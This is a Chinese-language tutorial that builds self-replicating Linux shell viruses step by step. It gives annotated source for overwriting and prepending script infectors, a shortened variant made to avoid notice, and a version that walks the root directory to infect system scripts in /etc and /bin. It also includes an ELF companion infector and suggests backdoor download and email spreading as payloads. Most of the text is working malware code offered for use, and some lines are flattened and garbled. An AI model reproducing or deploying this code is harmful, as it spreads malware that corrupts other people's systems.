主要的Shell病毒技術
當然,本文需要你至少了解Linux Shell編程的基礎知識和一星點的病毒知識。OK!我們進入正題!
我們來看一個最原始的shell病毒,代碼最能說明問題:
#shellvirus I for file in * do cp $0 $file done |
#shellvirus II for file in * do if test -f $file then if test -x $file then if test -w $file then if grep -s echo $file >.mmm then cp $0 $file fi; fi; fi; fi; fi done rm .mmm -f |
if grep -s echo $file>/.mmm |
if file $file | grep -s 'Bourne shell script' > /dev/nul ; then,也就是判斷file是否為shell腳本程序。但是,腳本病毒一旦在感染完畢之后就什么也不做了,它沒有象二進制病毒那樣的潛伏的危害性,而且以上的腳本只是簡單的覆蓋宿主而已,所以我這里利用了一下傳統的二進制病毒的感染機制,效果也不錯:),看看下面代碼:
#infection head -n 24 $0 > .test<-取自身保存到.test for file in *<-遍歷文件系統 do if test -f $file<-判斷是否為文件 then if test -x $file<-判斷文件是否可執行 then if test -w $file<-判斷文件是否可寫 then if grep -s echo $file >.mmm<-判斷是否為腳本程序 then head -n 1 $file >.mm<-提取要感染的腳本程序的第一行 if grep -s infection .mm >.mmm<-判斷該文件是否已經被感染 then rm -f .mm<-已經被感染,則跳過 else<-還未被感染 cat $file > .SAVEE<-很熟悉吧?借用了傳統的二進制文件的感染機制 cat .test > $file cat .SAVEE >> $file fi; fi; fi; fi; fi done rm .test .SAVEE .mmm .mm -f |
ok,為了使上面的代碼不容易被發現,我必須優化它,最先考慮的肯定是精練代碼:
#infection for file in * ;do if test -f $file && test -x $file && test -w $file ; then if grep -s echo $file > /dev/nul ; then head -n 1 $file >.mm if grep -s infection .mm > /dev/nul ; then rm .mm -f ; else cat $file > .SAVEE head -n 13 $0 > $file cat .SAVEE >> $file fi; fi; fi done rm .SAVEE .mm -f |
不寫出來了.
好,我們看看,shell病毒還能做哪些有用的事情,有可能我們想感染別的目錄的文件,比如根目錄或者是/etc,/bin等等,因為大多
數有用的系統配置腳本都存放在那些目錄下,只要對上述代碼稍作改動就可以實現了:)
#infection xtemp=$pwd<-保存當前路徑 head -n 22 $0 > /.test for dir in /* ; do<-遍歷/目錄 if test -d $dir ; then<-如果是目錄就cd該目錄 cd $dir for file in * ; do<-遍歷該目錄文件 if test -f $file && test -x $file && test -w $file ; then<-確定文件是否可執行,可寫 if grep -s echo $file > /dev/nul ; then<-確定是否為腳本程序 head -n 1 $file > .mm if grep -s infection .mm > /dev/nul ; then<-確定是否已經被感染 rm .mm -f ; else cat $file > /.SAVEE<-和前面的感染機制一樣感染未被感染的腳本程序 cat /.test > $file cat /.SAVEE >> $file fi; fi; fi done cd .. fi done cd $xtemp<-返回原目錄 rm /.test /.SAVEE .mm -f |
如download后門程序,為機器自動開后門,主動去攻擊聯網的其他機器,取用戶的email來發送傳染等等.總之它的實現技術不高深,
但也比較實用,還是值得去說明一下的,呵呵.
同樣,我們也可以感染elf文件,但危害性很小,這里不重點講,給個例程大家理解一下吧。
for file in * ;do if test -f $file && test -x $file && test -w $file ; then if file $file | grep -s 'ELF' > /dev/nul ; then mv $file .$file head -n 9 $0 > $file fi; fi done .$0 |